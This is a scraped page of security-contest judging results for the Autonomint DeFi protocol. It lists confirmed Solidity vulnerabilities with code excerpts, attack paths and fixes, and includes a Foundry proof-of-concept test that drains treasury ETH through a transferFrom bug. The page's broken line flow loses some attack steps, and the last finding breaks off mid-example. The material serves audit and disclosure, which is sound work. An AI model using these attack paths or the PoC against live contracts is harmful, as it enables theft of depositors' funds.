Contests
Active
Upcoming
Juging Contests
Escalations Open
Sherlock Judging
Finished
Active
Upcoming
Juging Contests
Escalations Open
Sherlock Judging
Finished
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/178
Audinarey, valuevalk
After admin closes synthetix position we don't update any global variables, which means that dCDS depositors and the whole protocol cannot benefit from the liquidation and the potential gains from its shorted position.
closeThePositionInSynthetix()
function in borrowLiquidation.sol only closes the position and does not update any global variables like in the liquidation type 1
function closeThePositionInSynthetix() external onlyBorrowingContract { (, uint128 ethPrice) = borrowing.getUSDValue(borrowing.assetAddress(IBorrowing.AssetName.ETH)); // Submit an order to close all positions in synthetix synthetixPerpsV2.submitOffchainDelayedOrder(-synthetixPerpsV2.positions(address(this)).size, ethPrice * 1e16); }
For reference in liquidation type 1 we update many values to make the protocol aware of the fact that we have a position liquidated and its collateral is ready to be taken from dCDS depositors opted-in for that. ( other values related to yield for ABOND also shall be updated, just like in liquidation type 1 )
// Update the CDS data cds.updateLiquidationInfo(omniChainData.noOfLiquidations, liquidationInfo); cds.updateTotalCdsDepositedAmount(cdsAmountToGetFromThisChain); cds.updateTotalCdsDepositedAmountWithOptionFees(cdsAmountToGetFromThisChain); cds.updateTotalAvailableLiquidationAmount(cdsAmountToGetFromThisChain); omniChainData.collateralProfitsOfLiquidators += depositDetail.depositedAmountInETH; // Update the global data omniChainData.totalCdsDepositedAmount -= liquidationAmountNeeded - cdsProfits; //! need to revisit this omniChainData.totalCdsDepositedAmountWithOptionFees -= liquidationAmountNeeded - cdsProfits; omniChainData.totalAvailableLiquidationAmount -= liquidationAmountNeeded - cdsProfits; omniChainData.totalInterestFromLiquidation += uint256(borrowerDebt - depositDetail.borrowedAmount); omniChainData.totalVolumeOfBorrowersAmountinWei -= depositDetail.depositedAmountInETH; omniChainData.totalVolumeOfBorrowersAmountinUSD -= depositDetail.depositedAmountUsdValue; omniChainData.totalVolumeOfBorrowersAmountLiquidatedInWei += depositDetail.depositedAmountInETH; // Update totalInterestFromLiquidation uint256 totalInterestFromLiquidation = uint256(borrowerDebt - depositDetail.borrowedAmount); // Update individual collateral data --collateralData.noOfIndices; collateralData.totalDepositedAmount -= depositDetail.depositedAmount; collateralData.totalDepositedAmountInETH -= depositDetail.depositedAmountInETH; collateralData.totalLiquidatedAmount += depositDetail.depositedAmount; // Calculate the yields uint256 yields = depositDetail.depositedAmount - ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate); // Update treasury data treasury.updateTotalVolumeOfBorrowersAmountinWei(depositDetail.depositedAmountInETH); treasury.updateTotalVolumeOfBorrowersAmountinUSD(depositDetail.depositedAmountUsdValue); treasury.updateDepositedCollateralAmountInWei(depositDetail.assetName, depositDetail.depositedAmountInETH); treasury.updateDepositedCollateralAmountInUsd(depositDetail.assetName, depositDetail.depositedAmountUsdValue); treasury.updateTotalInterestFromLiquidation(totalInterestFromLiquidation); treasury.updateYieldsFromLiquidatedLrts(yields); treasury.updateDepositDetails(user, index, depositDetail); globalVariables.updateCollateralData(depositDetail.assetName, collateralData); globalVariables.setOmniChainData(omniChainData);
No response
No response
No response
After closing the short position update the global variables, so the protocol can work with the collateral thats now available to be withdrawn from dCDS depositors. Other factors such as yield for abond apply as well.
withdrawInterest
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/228
0x73696d616f, 0xAadi, Audinarey, AuditorPraise, Aymen0909, Cybrid, Galturok, PeterSR, Ragnarok, RampageAudit, Waydou, nuthan2x, onthehunt, super_jack, volodya
In the withdrawInterest
function, if totalInterest
is less than amount
, subtracting amount
from totalInterest
will cause an underflow and revert the transaction due to Solidity 0.8.x's checked arithmetic, even if totalInterestFromLiquidation
has sufficient balance to cover the withdrawal.
The function checks the combined balance but only subtracts from totalInterest
:
require(amount <= (totalInterest + totalInterestFromLiquidation), "Treasury don't have enough interest"); totalInterest -= amount;
If totalInterest < amount
, this subtraction underflows and reverts.
none
none
No response
DOS, underflow and revert.
totalInterest
to 50 and totalInterestFromLiquidation
to 100.amount
of 75.require
passes because 75 ≤ 150.totalInterest
(50) causes an underflow and reverts.Implement logic to deduct the amount
from totalInterest
and totalInterestFromLiquidation
proportionally or sequentially:
if (amount <= totalInterest) { totalInterest -= amount; } else { uint256 remaining = amount - totalInterest; totalInterest = 0; totalInterestFromLiquidation -= remaining; }
Borrowing::redeemYields
debits ABOND
from msg.sender
but redeems to user
using ABOND.State
data from user
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/271
0x73696d616f, RampageAudit, kenzo123, santiellena, super_jack, t.aksoy, tjonair, volodya
Borrowing::redeemYields
debits ABOND
from msg.sender
(which updates its state), but uses the information of the user
passed to calculate the amount to be withdrawn from the external protocol to send to the user
. This allows an attacker to have one address with ABOND
recently purchased (msg.sender
), redeem yield to user
using user
ABOND.State
data (ethBacked
and cumulativeRate
). As the debit occurs to msg.sender
address, the attacker can repeatedly buy ABOND
in an external market and redeem yields from user
without debiting from user
.
The Borrowing::redeemYields
function, receives as parameters address user, uint128 aBondAmount
and calls the BorrowLib::redeemYields
function:
First, the function incorrectly checks if the user
has enough ABOND
balance when it should check if msg.sender
enough balance:
BorrowLib.sol#L990-L992
State memory userState = abond.userStates(user); // check user have enough abond if (aBondAmount > userState.aBondBalance) revert IBorrowing.Borrow_InsufficientBalance();
Then, it calculates the amount of USDa
that has to burn, and the amount to send to user
for the liquidation earnings of the protocol.
Finally, the Treasury::withdrawFromExternalProtocol
function is called with user
and abondAmount
as parameters:
BorrowLib.sol#L1028-L1029
// withdraw eth from ext protocol uint256 withdrawAmount = treasury.withdrawFromExternalProtocol(user,aBondAmount);
Going through the Treasury::withdrawFromExternalProtocol
:
Treasury.sol#L283-L296
function withdrawFromExternalProtocol( address user, uint128 aBondAmount ) external onlyCoreContracts returns (uint256) { if (user == address(0)) revert Treasury_ZeroAddress(); // Withdraw from external protocols uint256 redeemAmount = withdrawFromIonicByUser(user, aBondAmount); // Send the ETH to user (bool sent, ) = payable(user).call{value: redeemAmount}(""); // check the transfer is successfull or not require(sent, "Failed to send Ether"); return redeemAmount; }
The redeemAmount
of ETH got in Treasury::withdrawFromIonicByUser
is sent to the user
:
Treasury.sol#L703-L724
function withdrawFromIonicByUser( address user, uint128 aBondAmount ) internal nonReentrant returns (uint256) { uint256 currentExchangeRate = ionic.exchangeRateCurrent(); uint256 currentCumulativeRate = _calculateCumulativeRate(currentExchangeRate, Protocol.Ionic); State memory userState = abond.userStates(user); uint128 depositedAmount = (aBondAmount * userState.ethBacked) / PRECISION; uint256 normalizedAmount = (depositedAmount * CUMULATIVE_PRECISION) / userState.cumulativeRate; //withdraw amount uint256 amount = (currentCumulativeRate * normalizedAmount) / CUMULATIVE_PRECISION; // withdraw from ionic ionic.redeemUnderlying(amount); protocolDeposit[Protocol.Ionic].totalCreditedTokens = ionic.balanceOf(address(this)); protocolDeposit[Protocol.Ionic].exchangeRate = currentExchangeRate; // convert weth to eth WETH.withdraw(amount); return amount; }
As it can be seen, the amont
is calculated with userState
data of the user. That data is stored in the ABOND
contract. After this redeem, the ethBacked
of the user should be zero because it is withdraw.
However, the account that gets its ABOND
debited and thus its ethBacked
and cumulativeRate
data set to zero is the msg.sender
, and not the user
.
BorrowLib.sol#L1032
bool success = abond.burnFromUser(msg.sender, aBondAmount);
function burnFromUser( address to, uint256 amount ) public onlyBorrowingContract returns (bool) { //get the state State memory state = userStates[to]; // update the state state = Colors._debit(state, uint128(amount)); userStates[to] = state; // burn abond burnFrom(to, amount); return true; }
function _debit( State memory _fromState, uint128 _amount ) internal pure returns(State memory) { uint128 balance = _fromState.aBondBalance; // check user has sufficient balance require(balance >= _amount,"InsufficientBalance"); // update user abond balance _fromState.aBondBalance = balance - _amount; // after debit, if abond balance is zero, update cr and eth backed as 0 if(_fromState.aBondBalance == 0){ _fromState.cumulativeRate = 0; _fromState.ethBacked = 0; } return _fromState; }
As can be seen, the address that gets its state modified is msg.sender
and not user
.
The following conditions are not a restriction, with just time and funds it can be done.
ABOND
with ethBacked
.ABOND
(acquired in the protocol or purchased in an external market).None
Borrowing
contract.ABOND
(which is backed by ETH deposited in another protocol)cumulativeRate
is significant.ABOND
Borrowing::redeemYields
with the user
parameter set as the first address that deposited in step 1.ABOND
can be completely drained.ABOND
value will fall to zero as there won't be ETH to redeem it for.None
Enforce msg.sender
to be equal to user
.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/345
0x37, 0x73696d616f, 0xNirix, Laksmana, tjonair, volodya
The signature in withDraw can be reused and this will cause users can choose one improper odosAssembledData and convert less collateral than expected.
In borrowing.sol:withDraw, borrowers can withdraw their collateral. If the current Ether price is larger than deposited Ether price, borrowers will not withdraw all collaterals. There will be some remaining collateral. These remaining collaterals will be swapped to USDT via odos router.
In one normal scenario, the protocol backend server will generate odos assembled data got from odos api, and sign the signature. The borrower will use this signed signature and odosAssembledData
to trigger this withDraw
function.
But the problem is that malicious users can choose one improper odosAssembledData
and signature. Although we can not manipulate the odosAssembledData
to any value we want, the backend servers will generate all kinds of odosAssembledData
for different borrower's withdrawal. The malicious borrower can choose any odosAssembledData
from all of these odosAssembledData
.
For example:
odosAssembledData
will swap 0.05 ether wrsETH to USDT. But Alice searches the valid used odosAssembledData
, and find one odosAssembledData
which input token amt is 0.01 ether. Alice uses used odosAssembledData
to trigger her withdraw.function _withdraw( address toAddress, uint64 index, bytes memory odosAssembledData, uint64 ethPrice, // current ether price uint128 exchangeRate, uint64 withdrawTime ) internal { ... uint256 amountToSwap = result.collateralRemainingInWithdraw - collateralRemainingInWithdraw; if (amountToSwap > 0) { amountToSwap = (amountToSwap * 1 ether) / exchangeRate; treasury.swapCollateralForUSDT(depositDetail.assetName, amountToSwap, odosAssembledData); } ... }
N/A
N/A
odosAssembledData
will swap 0.05 ether wrsETH to USDT. But Alice searches the valid used odosAssembledData
, and find one odosAssembledData
which input token amt is 0.01 ether. Alice uses used odosAssembledData
to trigger her withdraw.When we swap the remaining collateral to USDT, we may swap only one part of remaining collateral to USDT. This will break our intent. Some remaining collateral will be locked in the contract, and the output USDT is less than expected.
N/A
odosAssembledData
and signature
should only be valid for one borrower's specific borrowing index.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/469
0x37, 0x73696d616f, 0xAristos, Galturok, John44, Kral01, Laksmana, PeterSR, RampageAudit, Ruhum, Waydou, ZanyBonzy, newspacexyz, pashap9990, super_jack, t.aksoy, theweb3mechanic, tjonair, valuevalk, volodya
excessProfitCumulativeValue
in withdraw() can be manipulated. Malicious users can manipulate this excessProfitCumulativeValue
to withdraw more than expected.
In CDS.sol:withdraw, cds owners can withdraw their usda deposit.
In withdraw(), there is one parameter excessProfitCumulativeValue
, we will use this parameter excessProfitCumulativeValue
to calculate the cds owner's possible profit. Although this parameter excessProfitCumulativeValue
is signed by the admin, the signature and excessProfitCumulativeValue
can be replayed. When different cds owners withdraw, they will get the different excessProfitCumulativeValue
and signature
from the protocol's backend server. Malicious users can choose any valid excessProfitCumulativeValue
, nonce
and signature
from on-chain data.
Malicious users can choose one smaller excessProfitCumulativeValue
to trigger withdraw() function. Malicious users can get more profit than expected.
function withdraw( uint64 index, // deposit index. uint256 excessProfitCumulativeValue, uint256 nonce, bytes memory signature ) external payable nonReentrant whenNotPaused(IMultiSign.Functions(5)) { if (!_verify(FunctionName.CDS_WITHDRAW, excessProfitCumulativeValue, nonce, "0x", signature)) revert CDS_NotAnAdminTwo();
function cdsAmountToReturn( address _user, uint64 index, uint128 cumulativeValue, bool cumulativeValueSign, uint256 excessProfitCumulativeValue ) private view returns (uint256) { ... uint256 profit = (depositedAmount * (valDiff - excessProfitCumulativeValue)) / 1e11; ... }
N/A
N/A
N/A
Malicious users can withdraw more profit than expected via manipulating the excessProfitCumulativeValue
and signauture
.
N/A
Enhance the signature check. One signature can only be used for one cds owner's specific deposit index.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/533
0x37, valuevalk
The missing sync of lastEthPrice will cause incorrect cds cumulative value calculation.
When users deposit or withdraw in cds, we will timely update the cds cumulative value.
We will calculate the cds gain/loss according to the ether price change from lastEthPrice to current Ether price. We will update the lastEthPrice after our calculation.
The problem is that the cds gain/loss stands for the total cds deposit's gain or loss including Op chain and Mode chain. We just update the lastEthPrice
variable in current chain and don't sync with the other chain. When users deposit/withdraw in the other chain and calculate the cds gain/loss accroding to the ether price change, we will re-calculate the previous gain/loss because of the un-synced lastEthPrice.
For example:
lastEthPrice
= 3500 USD.lastEthPrice
= 3500 USD.omniChainData.cumulativeValue
and omniChainData.cumulativeValueSign
. lastEthPrice
in OP Chain is updated to 4000 USD.lastEthPrice
is still 3500 USD. This will cause the gain/loss will be calculated repeatedly.function calculateCumulativeValue( uint128 _price, // current ether price uint256 totalCdsDepositedAmount, // usda amount in the treasury uint128 lastEthPrice, // last ether price uint256 vaultBal // collateral ether amount ) public pure returns (CDSInterface.CalculateValueResult memory) { if (_price > lastEthPrice) { priceDiff = _price - lastEthPrice; gains = true; } else { priceDiff = lastEthPrice - _price; gains = false; } value = uint128((_amount * vaultBal * priceDiff * 1e6) / (PRECISION * totalCdsDepositedAmount)); }
if (ethPrice != lastEthPrice) { updateLastEthPrice(ethPrice); }
N/A
N/A
Alice deposits in OP Chain in timestamp X. lastEthPrice
= 3500 USD.
Bob deposits in Mode Chain in timestamp X. lastEthPrice
= 3500 USD.
Cathy deposits in OP chain in timestamp X + 100, current Ether price = 4000 USD. We will calculate the cds gain/loss bettwne timestamp X and timestamp X + 100. The gain/loss will be updated to global variable omniChainData.cumulativeValue
and omniChainData.cumulativeValueSign
. lastEthPrice
in OP Chain is updated to 4000 USD.
Dean deposits in Mode Chain in timestamp X + 200, current Ether price = 4000 USD. When we calculate the cds gain/loss, we will calculate the gain/loss from 3500 USD to 4000 USD because the lastEthPrice
is still 3500 USD. This will cause the gain/loss will be calculated repeatedly.
The cds cumulative value calculation will be incorrect. This will cause cds owner's withdraw amount will be incorrect, more or less than expected.
N/A
Sync the lastEthPrice
with the other chain.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/563
0x37, valuevalk
The calculation for totalCdsDepositedAmount
in withdrawUser() is incorrect when the cds owners opt in liquidations. This will impact all calculations which are related with omniChainData.totalCdsDepositedAmount
.
When cds owners want to withdraw positions, we will try to deduct this position's cds deposit from the omniChainData.totalCdsDepositedAmount
. If this cds deposit position is opt in the liquidation, one part of cds deposit has already been used in the liquidation process. So when cds owners want to withdraw, we should [deduct the left deposited amount](https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/lib/CDSLib.sol#L728-L729 from omniChainData.totalCdsDepositedAmount
.
The problem is that when we update totalCdsDepositedAmount
, we calculate via params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount
. We should notice that params.cdsDepositDetails.liquidationAmount
is not the used liquidation amount from the cds owner. It stands for left liquidation amount for this position.
We should deduct the left deposit amount: depositedAmount - (initialLiquidationAmount - liquidationAmount)
function withdrawUser( CDSInterface.WithdrawUserParams memory params, CDSInterface.Interfaces memory interfaces, uint256 totalCdsDepositedAmount, uint256 totalCdsDepositedAmountWithOptionFees, mapping(uint128 liquidationIndex => CDSInterface.LiquidationInfo) storage omniChainCDSLiqIndexToInfo ) public returns (CDSInterface.WithdrawResult memory) { CDSInterface.LiquidationInfo memory liquidationData = omniChainCDSLiqIndexToInfo[i]; uint128 share = (liquidationAmount * 1e10) / uint128(liquidationData.availableLiquidationAmount); params.cdsDepositDetails.liquidationAmount -= getUserShare(liquidationData.liquidationAmount, share); }
totalCdsDepositedAmount -= (params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount); params.omniChainData.totalCdsDepositedAmount -= (params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount);
N/A
N/A
N/A
omniChainData.totalCdsDepositedAmount
will be updated incorrectly. This will cause incorrect cds cumulative value's calculation.
Cds owners may get the incorrect return value.
N/A
totalCdsDepositedAmount -= depositedAmount - (initialLiquidationAmount - liquidationAmount);
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/624
0x23r0, 0x37, 0x73696d616f, 0xAadi, 0xAristos, 0xCNX, 0xNirix, 0xTamayo, 0xloophole, 0xmujahid002, 0xnegan, Abhan1041, Aymen0909, Cybrid, EmreAy24, John44, KungFuPanda, LordAlive, OlaHamid, OrangeSantra, ParthMandale, PeterSR, RampageAudit, Silvermist, akhoronko, aycozyOx, befree3x, dimah7, durov, fat32, futureHack, internetcriminal, itcruiser00, jah, joshuajee, kenzo123, moray5554, newspacexyz, nuthan2x, onthehunt, smbv-1923, super_jack, t.aksoy, theweb3mechanic, vatsal, volodya, wellbyt3, xKeywordx
In CDS.sol updateDownsideProtected() has no access control so malicious users can set downsideProtected to a large value which will DOS the system.
Because updateDownsideProtected() has no access control malicious users can manipulate the downsideProtected variable which is used in core functions of CDS.sol, causing DOS.
function updateDownsideProtected(uint128 downsideProtectedAmount) external { downsideProtected += downsideProtectedAmount; }
function _updateCurrentTotalCdsDepositedAmount() private { if (downsideProtected > 0) { totalCdsDepositedAmount -= downsideProtected; totalCdsDepositedAmountWithOptionFees -= downsideProtected; downsideProtected = 0; } }
https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/CDS.sol#L833-L839
_updateCurrentTotalCdsDepositedAmount()
is used in functions like deposit() and withdraw() so a revert here will DOS users from depositing and withdrawing.
No response
No response
_updateCurrentTotalCdsDepositedAmount()
due to underflow.Users are DOS'ed from interacting with the protocol so those who deposited have their assets frozen in the contract.
No response
Implement access control to updateDownsideProtected()
ABONDToken::transferFrom
does not work as intended and allows theft of ETH funds from Treasury
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/636
0xAadi, 0xAristos, KungFuPanda, PNS, Waydou, durov, montecristo, santiellena, theweb3mechanic, tjonair, valuevalk
The ABONDToken::transferFrom
function suffers from a logical issue where the fromState
post Colors::_debit
is updated to the msg.sender
and not to the from
address. This not only breaks the accounting of the ABONDToken
and the expected functionality of an ERC20
token but also allows an attacker to drain ETH Treasury
funds through the Borrowing::redeemYields
function.
In the ABONDToken::transferFrom
function, after the fromState
of the from
address gets debited, it is assigned to the msg.sender
state:
Abond_Token.sol#L147-L170
function transferFrom( address from, address to, uint256 value ) public override returns (bool) { // check the input params are non zero require(from != address(0) && to != address(0), "Invalid User"); // get the sender and receiver state State memory fromState = userStates[from]; State memory toState = userStates[to]; // update receiver state toState = Colors._credit(fromState, toState, uint128(value)); userStates[to] = toState; // update sender state fromState = Colors._debit(fromState, uint128(value)); userStates[msg.sender] = fromState; // transfer abond super.transferFrom(from, to, value); return true; }
This creates a problem when making a valid call to transferFrom
. When somebody (or a protocol) wants to transfer from a user the approved ABOND
to use it, the ERC20
balance it will get will be the expected, however, the userState
of the msg.sender
will be the state of the from
address right after it got the value
amount debited in Colors::_debit
.
Additionally, an attacker could use it to duplicate userStates
to call Borrowing::redeemYields
with an inflated ethBacked
amount and a lower cumulativeRate
that couldn't get in a valid way.
See the Borrowing::redeemYields
flow and how the userState
information is used to calculate how much ETH will be redeemed:
borrowing.sol#L318-L333
function redeemYields( address user, uint128 aBondAmount ) public returns (uint256) { // Call redeemYields function in Borrow Library return ( BorrowLib.redeemYields( user, aBondAmount, address(usda), address(abond), address(treasury), address(this) ) ); }
The Treasury::withdrawFromExternalProtocol
function has an external call to the user
address to send the ETH calculated in Treasury::withdrawFromIonicByUser
:
Treasury.sol#L283-L296
function withdrawFromExternalProtocol( address user, uint128 aBondAmount ) external onlyCoreContracts returns (uint256) { if (user == address(0)) revert Treasury_ZeroAddress(); // Withdraw from external protocols uint256 redeemAmount = withdrawFromIonicByUser(user, aBondAmount); // Send the ETH to user (bool sent, ) = payable(user).call{value: redeemAmount}(""); // EXTERNAL CALL // check the transfer is successfull or not require(sent, "Failed to send Ether"); return redeemAmount; }
Here it can be seen that the amount
to be withdrawn is calculated using ABONDToken::userStates
information:
Treasury.sol#L703-L724
function withdrawFromIonicByUser( address user, uint128 aBondAmount ) internal nonReentrant returns (uint256) { uint256 currentExchangeRate = ionic.exchangeRateCurrent(); uint256 currentCumulativeRate = _calculateCumulativeRate(currentExchangeRate, Protocol.Ionic); State memory userState = abond.userStates(user); // @audit user states data uint128 depositedAmount = (aBondAmount * userState.ethBacked) / PRECISION; uint256 normalizedAmount = (depositedAmount * CUMULATIVE_PRECISION) / userState.cumulativeRate; //withdraw amount uint256 amount = (currentCumulativeRate * normalizedAmount) / CUMULATIVE_PRECISION; // withdraw from ionic ionic.redeemUnderlying(amount); protocolDeposit[Protocol.Ionic].totalCreditedTokens = ionic.balanceOf(address(this)); protocolDeposit[Protocol.Ionic].exchangeRate = currentExchangeRate; // convert weth to eth WETH.withdraw(amount); return amount; }
It is needed that the aBondAmount
parameter passed in Borrowing::redeemYields
is at most the amount that ABONDToken::balanceOf
returns and not the abondBalance
in ABONDToken::userStates
because when burning both amounts will face deductions (When debiting the user state and when the ERC20
burnFrom
function is called).
For the logical issue: none.
For the theft of ETH from Treasury
:
ABOND
(N°1)ABOND
(N°2).Noen
ABOND
from account 1, to account 3 calling transferFrom
with account 2.userState
of account 1 is duplicated in account 2, the attacker calls Borrowing::redeemYields
with the account 2 with the aBondAmount
parameter as the balance of account 2, but when withdrawing from the external protocol, it will use the duplicate userState
of account 2 which now is a quasi-duplicated of userState
of account. In addition, the userState
of account 1 will not debit the value
amount and the attacker will be able to call Borrowing::redeemYields
with the two accounts to withdraw twice as much as expected.ABONDToken
userStates
.Treasury
Add the following PoC to test/foundry/Borrowing.t.sol
:
function test_PoC_TransferFromBroken() public { uint256 ETH = 1; uint24 ethPrice = 388345; uint8 strikePricePercent = uint8(IOptions.StrikePrice.FIVE); uint64 strikePrice = uint64(ethPrice + (ethPrice * ((strikePricePercent * 5) + 5)) / 100); uint256 amount = 10 ether; address USER_2 = makeAddr("USER_2"); uint128 usdtToDeposit = uint128(contractsB.cds.usdtLimit()); uint256 liquidationAmount = usdtToDeposit / 2; // deposit in CDS so there is back funds for the USDa address cdsDepositor = makeAddr("depositor"); { vm.startPrank(cdsDepositor); contractsB.usdt.mint(cdsDepositor, usdtToDeposit); contractsB.usdt.approve(address(contractsB.cds), usdtToDeposit); vm.deal(cdsDepositor, globalFee.nativeFee); contractsB.cds.deposit{value: globalFee.nativeFee}( usdtToDeposit, 0, true, uint128(liquidationAmount), 150000 ); vm.stopPrank(); } { vm.startPrank(USER_2); vm.deal(USER_2, globalFee.nativeFee + amount); contractsB.borrow.depositTokens{value: globalFee.nativeFee + amount}( ethPrice, uint64(block.timestamp), IBorrowing.BorrowDepositParams( IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount ) ); vm.stopPrank(); } { vm.startPrank(USER); vm.deal(USER, globalFee.nativeFee + (amount / 2)); contractsB.borrow.depositTokens{value: globalFee.nativeFee + (amount / 2)}( ethPrice, uint64(block.timestamp), IBorrowing.BorrowDepositParams( IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount / 2 ) ); vm.stopPrank(); } vm.warp(block.timestamp + 12960); vm.roll(block.number + 1080); address account1 = makeAddr("account1"); address account2 = makeAddr("account2"); address account3 = makeAddr("account3"); { vm.startPrank(USER); uint64 index = 1; Treasury.GetBorrowingResult memory getBorrowingResult = contractsB.treasury.getBorrowing(USER, index); Treasury.DepositDetails memory depositDetail = getBorrowingResult.depositDetails; uint256 currentCumulativeRate = contractsB.borrow.calculateCumulativeRate(); contractsB.usda.mint(USER, 1 ether); // @audit so there are enough funds (doesn't affect the PoC) uint256 tokenBalance = contractsB.usda.balanceOf(USER); if ((currentCumulativeRate * depositDetail.normalizedAmount) / 1e27 > tokenBalance) { return; } contractsB.usda.approve(address(contractsB.borrow), tokenBalance); vm.deal(USER, globalFee.nativeFee); contractsB.borrow.withDraw{value: globalFee.nativeFee}( USER, index, "0x", "0x", ethPrice, uint64(block.timestamp) ); contractsB.abond.transfer(account2, contractsB.abond.balanceOf(USER)); vm.stopPrank(); } { vm.startPrank(USER_2); uint64 index = 1; Treasury.GetBorrowingResult memory getBorrowingResult = contractsB.treasury.getBorrowing(USER_2, index); Treasury.DepositDetails memory depositDetail = getBorrowingResult.depositDetails; uint256 currentCumulativeRate = contractsB.borrow.calculateCumulativeRate(); contractsB.usda.mint(USER_2, 1 ether); // @audit so there are enough funds (doesn't affect the PoC) uint256 tokenBalance = contractsB.usda.balanceOf(USER_2); if ((currentCumulativeRate * depositDetail.normalizedAmount) / 1e27 > tokenBalance) { return; } contractsB.usda.approve(address(contractsB.borrow), tokenBalance); vm.deal(USER_2, globalFee.nativeFee); contractsB.borrow.withDraw{value: globalFee.nativeFee}( USER_2, index, "0x", "0x", ethPrice - 15000, uint64(block.timestamp) ); // see the "Internal pre-conditions" section to see that matches the following contractsB.abond.transfer(account1, contractsB.abond.balanceOf(USER_2)); vm.stopPrank(); } { // needed so there is something to steal, this proves the issue vm.startPrank(USER); vm.deal(USER, globalFee.nativeFee + (amount / 2)); contractsB.borrow.depositTokens{value: globalFee.nativeFee + (amount / 2)}( ethPrice, uint64(block.timestamp), IBorrowing.BorrowDepositParams( IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount / 2 ) ); vm.stopPrank(); } { // here the attack starts (, uint128 ethBacked1Before,) = contractsB.abond.userStates(account1); (, uint128 ethBacked2Before,) = contractsB.abond.userStates(account2); assert(ethBacked1Before > ethBacked2Before); uint256 acount2AbondBalance = contractsB.abond.balanceOf(account2); uint256 acount1AbondBalance = contractsB.abond.balanceOf(account1); // check how much eth it would get in case attack is not performed (, uint256 redeemableAmountBefore2,) = contractsB.borrow.getAbondYields(account2, uint128(acount2AbondBalance)); (, uint256 redeemableAmountBefore1,) = contractsB.borrow.getAbondYields(account1, uint128(acount1AbondBalance - 1)); // step 1 from "Attack path" section vm.prank(account1); contractsB.abond.approve(account2, 1); // step 2 from "Attack path" section vm.prank(account2); contractsB.abond.transferFrom(account1, account3, 1); (, uint128 ethBacked1After,) = contractsB.abond.userStates(account1); (, uint128 ethBacked2After,) = contractsB.abond.userStates(account2); assertEq(ethBacked1Before, ethBacked1After); assert(ethBacked2Before < ethBacked2After); // step 3 from "Attack path" section vm.startPrank(account2); contractsB.abond.approve(address(contractsB.borrow), type(uint256).max); uint256 withdrawedAmount2 = contractsB.borrow.redeemYields(account2, uint128(acount2AbondBalance)); vm.stopPrank(); // "Impact" section, point 3 assert(withdrawedAmount2 > redeemableAmountBefore2); vm.startPrank(account1); contractsB.abond.approve(address(contractsB.borrow), type(uint256).max); uint256 withdrawedAmount1 = contractsB.borrow.redeemYields(account1, uint128(acount1AbondBalance - 1)); vm.stopPrank(); // "Impact" section, point 3 assertEq(withdrawedAmount1, redeemableAmountBefore1); } }
To run the test:
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_TransferFromBroken -vvv
Update the userState
of from
and not of msg.sender
in ABONDToken::transferFrom
:
function transferFrom( address from, address to, uint256 value ) public override returns (bool) { // check the input params are non zero require(from != address(0) && to != address(0), "Invalid User"); // get the sender and receiver state State memory fromState = userStates[from]; State memory toState = userStates[to]; // update receiver state toState = Colors._credit(fromState, toState, uint128(value)); userStates[to] = toState; // update sender state fromState = Colors._debit(fromState, uint128(value)); - userStates[msg.sender] = fromState; + userStates[from] = fromState; // transfer abond super.transferFrom(from, to, value); return true; }
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/696
0x37, John44, santiellena, t.aksoy, valuevalk, volodya, wellbyt3
If a user gets liquidated through liquidationType2
they will still be able to withdraw their collateral and repay their debt as depositDetail.liquidated
is not set to true. This is problematic as the collateral will have already been sent to Synthethix, and the collateral that the liquidated user withdraws will most likely be taken from the collateral of other users.
Furthermore, the necessary liquidation state changes performed in liquidationType1
are omitted in the second type:
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L241-L277
This is problematic as numerous parts of the protocol are reliant on this values, for example the CDS cumulative value which determines the profits/losses of CDS depositors.
In borrowLiquidation.liquidationType2 depositDetail.liquidated
is not set to true.
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L324-L366
No response
No response
liquidationType2
and their collateral gets transferred to Synthetix.Liquidated users can withdraw their collateral. If that occurs the withdrawn collateral will be taken from the deposits of other borrowers.
No response
Perform the appropriate state changes when liquidationType2
gets called.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/734
0x73696d616f
Borrowers withdrawing at a loss get downside protection from cds depositors. If these cds depositors withdraw at the same price as the borrower withdrawal that triggered the loss, it works correctly. However, if they do not withdraw, but wait for the price to come back up, they will get their full cds amount back at the expense of other users in the protocol, such as cds depositors that deposit after the price recovers.
In BorrowLib.sol:874
, the downside protection is increased.
In CDS.sol:328
, the downside protection loss is realized.
In CDS.sol:343
, the return amount will be calculated after the price goes down and then up, returning the full amount to the cds depositor.
None.
None.
1 * (1000 - 900) / 1000 = 0.1
, where 1000 - 900 is the price diff, 1 is the vault balance (1 ETH deposited to borrow) and 1000 in the denominator is the cds deposit made. It also adds 100 downside protected.1 * (1000 - 900) / 1000 = 0.1
